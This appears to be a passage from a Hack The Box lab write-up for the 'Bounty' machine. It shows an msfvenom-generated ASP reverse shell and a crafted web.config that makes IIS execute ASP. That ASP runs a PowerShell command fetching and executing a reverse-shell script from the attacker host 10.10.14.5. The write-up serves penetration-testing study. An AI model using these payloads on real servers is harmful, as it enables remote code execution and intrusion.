MSFVenom


┌──(kali㉿kali)-[~/archive/htb/labs/bounty]
└─$ msfvenom -p cmd/windows/powershell/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=9998 -f asp 
[-] no platform was selected, choosing msf::Module::Platform::Windows from the payload
[-] no arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
payload size: 4420 bytes
final size of asp file: 704 bytes
<% @language="VBScript" %>
<% 
        Sub GsFewkMavhXOl()
                WGUo
                Dim HCRpgzJOKXt
                Set HCRpgzJOKXt = CreateObject("Scripting.FileSystemObject")
                Dim LJZvdISpeDSIvxl
                Dim TAEPskRdvRuTu
                Dim cHGRgWbYBgowuk
                Dim OKfMjKmKrPLyzY
                Set TAEPskRdvRuTu = HCRpgzJOKXt.GetSpecialFolder(2)
                OKfMjKmKrPLyzY = TAEPskRdvRuTu & "\" & HCRpgzJOKXt.GetTempName()
                HCRpgzJOKXt.CreateFolder(OKfMjKmKrPLyzY)
                cHGRgWbYBgowuk = OKfMjKmKrPLyzY & "\" & "svchost.exe"
                Set LJZvdISpeDSIvxl = HCRpgzJOKXt.CreateTextFile(cHGRgWbYBgowuk,2,0)
                LJZvdISpeDSIvxl.Write WGUo
                LJZvdISpeDSIvxl.Close
                Dim PobgkfrsUp
                Set PobgkfrsUp = CreateObject("Wscript.Shell")
                PobgkfrsUp.run cHGRgWbYBgowuk, 0, false
        End Sub
 
        GsFewkMavhXOl
%>

MSFVenom generated a ASP reverse shell

I then appended the malicious ASP code to the bottom of the existing web.config payload

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<% @language="VBScript" %>
<%
 
Set obj = CreateObject("WScript.Shell")
obj.exec("cmd /c powershell -ep bypass  iex(new-object net.webclient).downloadstring('http://10.10.14.5:8000/Invoke-PowerShellTcp.ps1')")
 
%>
-->

The payload overall looks like this.

Jumping


┌──(kali㉿kali)-[~/archive/htb/labs/bounty]
└─$ cat web.config                                                     
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
 
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<% @language="VBScript" %>
<%
 
Set obj = CreateObject("WScript.Shell")
obj.Exec("cmd /c powershell -ep bypass IEX(New-Object Net.Webclient).DownloadString('http://10.10.14.5:8000/Invoke-PowerShellTcp.ps1')")
 
%>
-->

Due to the error thrown from the webserver, I decided to opt to the jumping.

Assigning the variable obj with CreateObject method that is set to “WScript.Shell” Exec() method on the variable, obj, which essentially turns whatever inside the Exec() into system command

The system command is just a standard on-mem reverse shell cmd /c powershell -ep bypass IEX(New-Object Net.Webclient).DownloadString('http://10.10.14.5:8000/Invoke-PowerShellTcp.ps1')